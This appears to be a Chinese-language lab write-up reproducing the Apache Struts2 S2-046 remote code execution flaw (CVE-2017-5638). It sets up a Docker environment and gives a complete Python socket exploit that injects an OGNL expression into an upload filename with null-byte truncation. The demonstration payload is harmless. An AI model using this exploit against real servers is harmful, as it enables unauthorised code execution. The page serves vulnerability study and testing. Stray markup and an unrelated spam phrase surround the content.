<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    S2-046 遠程代碼執行漏洞(CVE-2017-5638)

    Path struts2/s2-046

    • 影響版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

    漏洞詳情:

    漏洞環境

    執行如下命令啟動struts2 2.3.30:

    docker-compose up -d
    

    環境啟動后,訪問http://your-ip:8080即可看到上傳頁面。

    漏洞復現

    與s2-045類似,但是輸入點在文件上傳的filename值位置,并需要使用\x00截斷。

    由于需要發送畸形數據包,我們簡單使用原生socket編寫payload:

    import socket
    
    q = b'''------WebKitFormBoundaryXd004BVJN9pBYBL2
    Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b"
    Content-Type: text/plain
    
    foo
    ------WebKitFormBoundaryXd004BVJN9pBYBL2--'''.replace(b'\n', b'\r\n')
    p = b'''POST / HTTP/1.1
    Host: localhost:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.8,es;q=0.6
    Connection: close
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXd004BVJN9pBYBL2
    Content-Length: %d
    
    '''.replace(b'\n', b'\r\n') % (len(q), )
    
    with socket.create_connection(('your-ip', '8080'), timeout=5) as conn:
        conn.send(p + q)
        print(conn.recv(10240).decode())

    233*233已成功執行:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类